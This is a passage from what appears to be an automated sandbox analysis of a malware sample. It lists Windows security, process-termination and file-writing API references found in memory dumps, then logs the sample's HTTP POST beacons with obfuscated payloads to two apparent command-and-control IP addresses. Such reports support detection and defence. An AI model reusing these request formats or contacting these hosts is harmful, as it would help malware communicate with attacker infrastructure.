"GetSidSubAuthority"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "AddAccessDeniedAce" (Indicator: "AddAccessDeniedAce"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp")82:Tccc,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "ZwTerminateProcess" (Indicator: "ZwTerminateProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "ZwTerminateProcess" (Indicator: "TerminateProcess"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006464.00000000.285111.99590000.00000040.mdmp, 00000000-00006464.00000001.287031.99590000.00000040.mdmp, 00000000-00006464.00000002.288951.44C7F000.00000002.mdmp, 00000000-00006464.00000002.288951.44C89000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")83:T44b,Found reference to API "WriteFile" (Indicator: "WriteFile"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "ZwWriteFile" (Indicator: "ZwWriteFile"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")84:Ta17," "7+&swwvvpt{tpr{d71'0d2!ozpd-1+,&-51bsrd4'0sltlud0#/zs{sd#&/s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 21 Host: 62.60.226.159" with payload::==> "6#1)xswwvvpt{tpr{" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>773E7070743E7309180917382513172B302F2438060A751B75772517202C34001A3A70383A7110046E723A717A272776722023777A7A7A752777752174217173....... "POST /16b022998f754137b60a.php HTTP/1.1 Content-Type: application/json Host: 196.251.107.130 Content-Length: 128 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "mZ4VWpVoawy3CbaoyNJpT7DYKUbEil7JZV9hpZnVc5ST+guaKabebQVbQWgzB9vzjApyjZfu6a2tJMFmzVlaFkxAegK75MLB4AVtiyobLiqTK5xKDP46RBVSzpw46rEG" HTTP/1.1 200 OK Date: Sat 02 May 2026 11:38:08 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 64 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>6D625941484E5A374C517A31517544756A49787756647138416C474E35687262636B683237384B65654D624B7455322B4F3672454F6C6F485A6934515673334C....... "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 75 Host: 62.60.226.159" with payload::==> "6#1)+&pptd7+&swwvvpt{tpr{d16#671sd0'#1-,#1)-/2.'6'&7!!'11$7..;" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 66 Cache-Control: no-cache" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n; path=/ Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:15 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:16 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:18 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:19 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=b2fojuhl7ce04rntv3jhbqli3n" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 May 2026 11:38:20 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body89:T6b5,"